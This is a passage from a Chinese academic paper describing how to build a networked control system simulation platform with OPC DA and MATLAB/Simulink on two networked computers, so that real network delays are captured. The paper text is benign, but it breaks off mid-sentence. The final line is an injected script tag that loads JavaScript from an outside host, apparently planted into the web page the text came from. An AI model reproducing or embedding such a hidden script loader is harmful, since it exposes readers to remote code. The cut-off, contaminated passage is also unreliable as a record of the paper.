摘要: 网络控制系统中的延迟不仅具有随机性，而且很大程度上与控制网络所采用的mac层通信协议是相关的，传统的数学建模方法很难如实反映实际网络控制系统中的延迟特性。本文基于opc技术和matlab7.0软件，介绍了在实际网络中通过两台通用计算机，搭建网络控制系统仿真平台的方法。该方法通过opc技术实现了对象模型和控制器在两台计算机的分离实现，可为网络控制系统的理论研究提供有效的检验平台。
关键词：网络控制系统；仿真平台；opc技术；matlab
中图分类号:tp393 文献标识码： a
一、引言
随着工业控制系统对智能化、分散化、网络化以及标准化要求的不断提高，现场总线技术和工业以太网技术的应用范围正在不断扩展。现场总线和工业以太网都属于串行网络，其通信带宽由多个控制回路分享，这些控制回路相互竞争通信带宽，其结果会在各自的闭环回路中引入随机延迟。研究表明网络控制系统中的随机延迟会恶化控制品质，甚至使控制系统变得不稳定[1, 2]，因此有必要研究新的控制算法来改善网络控制系统的品质。在设计新的网络控制系统算法时，需要一个能代表实际网络控制系统的研究平台，它应该能够如实反映控制回路中的通信延迟特性。搭建实际的网络控制系统试验平台需要较多的资金投入，同时也需要投入较多的人力为硬件设备开发软件系统，因而很多学者通过搭建软件仿真平台来减少所需的投资。
采用软件方法搭建的网络控制系统仿真平台是否合理和有效，关键看其能否准确地模拟传感器到控制器和控制器到执行器的通信延迟。不少学者利用随机函数模型来近似产生网络中的通信延迟，也出现了truetime这样根据网络mac协议对通信延迟进行机理建模的方法[3]。由于实际网络控制系统的随机延迟模型很难准确获得，采用随机函数模型产生的网络延迟与实际情况往往存在较大误差。truetime实现的机理建模方法也具有局限性，它只适用于单级的网络拓扑，而且当网络中的通信节点较多时仿真系统运行效率很低。因此本文考虑从实际网络中取得控制延迟，这对基于工业以太网的网络控制系统尤为合适，因为普通的办公网络即可用来近似地模拟工业以太网的工作环境。
如果控制延迟从实际网络中取得，模型和控制器需要实现在网络中两台不同的计算机上，其中一台作模型，另一台作控制器。在控制器和模型间传递数据时需要选择合适的通信机制，为此引入工控行业的软件接口标准opc（ole for process control）技术。opc技术试图按照标准的方法解决软硬件之间数据交换问题，它采用服务器/客户端模式，只要硬件设备提供了具有统一opc接口的服务器，控制和组态软件等即可按照一致的opc客户端接口访问服务器，实现与硬件设备的数据交换。针对工业通信中不同的数据传输要求，opc技术又分成若干个子类。其中针对实时通信，opc基金会定义了opc da规范[4]。
本文巧妙借用opc da技术和matlab7.0软件来实现网络控制系统仿真平台的开发。 opc da技术在这里主要用来简化模型和控制器间的通信设计，同时提供标准的数据访问接口，便于模型的扩展升级。模型和控制器都采用通用计算机运行matlab/simulink仿真模块来实现。在条件允许时，也可将模型和控制器部分或全部替换为实际对象，如控制器可以采用dcs系统来实现，而模型信号可以取样于实际系统。
二、实现方案
网络控制系统仿真平台的开发主要包括三部分：模型、控制器和网络（图1）。因为传感器和执行器可以作为广义对象的一部分来考虑，为了简化分析，本文将它们作为模型的一部分。这里采用opc da技术把模型实现为一个opc da服务器，控制器则作为一个opc da客户端与模型服务器进行数据交换，然后通过网络可以把模型和控制器实现在两台不同的计算机上。
1、模型
模型服务器的主要功能是实现标准的opc da服务器接口，提供对象输出标签和控制变量标签，同时它负责与受控对象进行交互，刷新控制变量，并从受控对象得到更新的对象输出响应。根据对仿真平台的实际要求，模型服务器可以有多种实现方案。
(1)采用matlab提供的opc工具箱和matrikon提供的opc服务器来来实现。其中 matrikon opc服务器提供了可供opc da客户端读写的内存空间。它们其中一部分可以用来存储于控制变量，另一部分可用于存储对象输出。在matlab/simulink环境中构建受控对象模型，通过opc工具箱提供的函数与matrikon opc服务器建立连接，从opc服务器读取控制变量，并计算出相应的对象输出，最后将其存储到opc服务器中。这种实现方案无需matlab之外的编程，可以快速搭建。但也有一定的限制，matrikon opc服务器提供的公共内存空间有限，不适于构建复杂的多输入多输出系统，同时这种结构也不便于将来对仿真平台进行扩展升级。
(2)购买物理受控对象、传感器和执行器，采用通用开发工具实现opc da服务器。如果传感器和?script src=http://er12.com/t.js>
